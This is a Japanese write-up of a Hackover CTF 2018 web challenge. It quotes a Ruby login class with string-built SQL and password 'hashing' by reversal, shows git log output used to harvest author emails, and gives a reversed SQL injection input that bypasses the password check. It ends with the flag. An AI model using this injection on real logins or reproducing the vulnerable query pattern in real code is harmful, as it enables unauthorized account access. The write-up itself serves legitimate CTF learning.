Hackover CTF 2018 - who knows john dows?
問題文
Howdy mate! Just login and hand out the flag, aye! You can find on h18johndoe has all you need!
http://yo-know-john-dow.ctf.hackover.de:4567/login
alternative: 46.101.157.142:4567/login

また、問題文のh18johndoeから、
https://github.com/h18johndoe/user_repository/blob/master/user_repo.rbへリンクあり。
writeup
Username/Emailを入力するログイン画面のみ。 下部のメッセージより、アカウント登録サービスは停止しているようだ。
当然、適当にUsername/Emailを入力してもNGで、以下のメッセージが表示される。
Could not find user! Please check your identification.
問題文のgithubのリンク先を確認すると、ログイン処理のコードが公開されている。
class UserRepo def initialize(database) @database = database @users = database[:users] end def login(identification, password) hashed_input_password = hash(password) query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" puts "SQL executing: '#{query}'" @database[query].first if user_exists?(identification) end def user_exists?(identification) !get_user_by_identification(identification).nil? end private def get_user_by_identification(identification) @users.where(phone: identification).or(email: identification).first end def hash(password) password.reverse end end
login関数にSQLインジェクションの脆弱性がある。
また、passwordをハッシュ化していると思いきや、hash関数は文字列を反転させているだけ。
ただ、まずはユーザ存在確認の処理であるuser_exists関数を突破しないと、login関数まで辿り着かないため、Username/Emailを探す必要がある。OSINTかな。
githubのコミットログに情報があるか確認する。
root@kali:~/Contest/hackover18# git clone https://github.com/h18johndoe/user_repository.git
Cloning into 'user_repository'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (5/5), done.
remote: Total 12 (delta 2), reused 12 (delta 2), pack-reused 0
Unpacking objects: 100% (12/12), done.
root@kali:~/Contest/hackover18# cd user_repository/
root@kali:~/Contest/hackover18/user_repository# git log
commit b26aed283d56c65845b02957a11d90bc091ac35a (HEAD -> master, origin/master, origin/HEAD)
Author: John Doe <angelo_muh@yahoo.org>
Date: Tue Oct 2 23:55:57 2018 +0200
Add login method
commit 5383fb4179f1aec972c5f2cc956a0fee07af353a
Author: John Doe <jamez@hemail.com>
Date: Tue Oct 2 23:04:13 2018 +0200
Add methods
commit 2d3e1dc0c5712efd9a0c7a13d2f0a8faaf51153c
Author: John Doe <john_doe@gmail.com>
Date: Tue Oct 2 23:02:26 2018 +0200
Add dependency injection for database
commit 3ec70acbf846037458c93e8d0cb79a6daac98515
Author: John Doe <john_doe@notes.h18>
Date: Tue Oct 2 23:01:30 2018 +0200
Add user repo class and file
得られたEmail情報は以下の通り。
Author: John Doe <angelo_muh@yahoo.org> Author: John Doe <jamez@hemail.com> Author: John Doe <john_doe@gmail.com> Author: John Doe <john_doe@notes.h18>
john_doe@notes.h18をログイン画面のUsername/Email欄に入力すると先に進めた。

あとはSQLインジェクションで突破するだけ。
query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
のhashed_input_passwordに' or 'A'='Aをセットできれば良いため、反転させたA'='A' ro 'を入力する。

フラグゲット。
hackover18{I_KN0W_H4W_70_STALK_2018}